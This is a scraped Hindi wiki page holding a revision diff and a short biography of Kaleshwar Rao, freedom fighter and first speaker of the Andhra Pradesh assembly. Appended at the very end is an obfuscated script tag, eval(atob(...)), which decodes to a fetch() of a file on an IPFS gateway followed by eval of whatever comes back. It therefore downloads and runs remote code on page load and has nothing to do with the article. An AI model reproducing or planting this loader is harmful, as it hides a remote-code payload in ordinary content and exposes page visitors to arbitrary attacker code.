कालेश्वर राव: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 7: Line 7:
*जब अलग राज्य बन गया तो कालेश्वर राव को आंध्र की [[विधान सभा]] का [[अध्यक्ष]] बनाया गया।
*जब अलग राज्य बन गया तो कालेश्वर राव को आंध्र की [[विधान सभा]] का [[अध्यक्ष]] बनाया गया।
==कुशल वक्ता और लेखक==
==कुशल वक्ता और लेखक==
कालेश्वर राव कुशल वक्ता और अच्छे लेखक भी थे। उन्होंने विभिन्न देशों के राष्ट्रीय और क्रांतिकरी आंदोलन पर अनेक पुस्तकें लिखीं। उनकी लिखी आत्मकथा भी बहुत प्रसिद्ध हुई। बचपन से ही [[ब्रह्म समाज]] के विचरों के संपर्क के कारण उनका दृष्टिकोण बहुत उदार था।
कालेश्वर राव कुशल वक्ता और अच्छे लेखक भी थे। उन्होंने विभिन्न देशों के राष्ट्रीय और क्रांतिकरी आंदोलन पर अनेक पुस्तकें लिखीं। उनकी लिखी आत्मकथा भी बहुत प्रसिद्ध हुई। बचपन से ही [[ब्रह्म समाज]] के विचारों के संपर्क के कारण उनका दृष्टिकोण बहुत उदार था।
==देहान्त==
==देहान्त==
[[1962]] ई. में कालेश्वर राव का देहान्त हो गया।
[[1962]] ई. में कालेश्वर राव का देहान्त हो गया।
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
==टीका टिप्पणी और संदर्भ==
<references/>
==संबंधित लेख==
{{स्वतन्त्रता सेनानी}}{{पत्रकार}}
[[Category:स्वतन्त्रता सेनानी]][[Category:राजनीतिज्ञ]][[Category:राजनीति कोश]][[Category:चरित कोश]][[Category:इतिहास कोश]][[Category:आधुनिक काल]][[Category:जीवनी साहित्य]]
__INDEX__
__NOTOC__

Revision as of 10:20, 4 September 2016

कालेश्वर राव (अंग्रेज़ी: Kaleshwar Rao, जन्म- 1881, कृष्णा ज़िला, आंध्र प्रदेश) प्रसिद्ध राजनीतिज्ञ, स्वतंत्रत सेनानी और आंध्र प्रदेश राज्य विधान सभा के पहले वक्ता थे।

क्रांतिकारी जीवन

कालेश्वर राव ने मद्रास मेंं अपनी शिक्षा पूर्ण की और तभी से सार्वजनिक कार्यों में भी रूचि लेने लगे। उन्होंने 'बंग-भंग' का विरोध किया। 1920 मे जब गांधीजी ने असहयोग आंदोलन आरम्भ किया तो कलेश्वर राव ने अपनी चलती वकालत छोड दी थी। वे आंध्र प्रदेश मेंं स्वदेशी का प्रचार करने वाले प्रमुख व्यक्ति थे। 1925 मेंं जब वे विजयवाड़ा नगरपालिका के अध्यक्ष चुने गये तो सरकारी अधिकारी कि परवाह किए बिना उन्होंंने शिक्षा संस्थाओं में राष्ट्रगान, चर्खा चलाना और हिन्दी पढ़ना अनिर्वाय कर दिया था। नमक सत्याग्रह और ‘भारत छोड़ो आंदोलन' में भाग लेने के कारण कालेश्वर राव ने लंबे समय तक जेल की यातनाएँ सहीं।

विधान सभा अध्यक्ष

कुशल वक्ता और लेखक

कालेश्वर राव कुशल वक्ता और अच्छे लेखक भी थे। उन्होंने विभिन्न देशों के राष्ट्रीय और क्रांतिकरी आंदोलन पर अनेक पुस्तकें लिखीं। उनकी लिखी आत्मकथा भी बहुत प्रसिद्ध हुई। बचपन से ही ब्रह्म समाज के विचारों के संपर्क के कारण उनका दृष्टिकोण बहुत उदार था।

देहान्त

1962 ई. में कालेश्वर राव का देहान्त हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>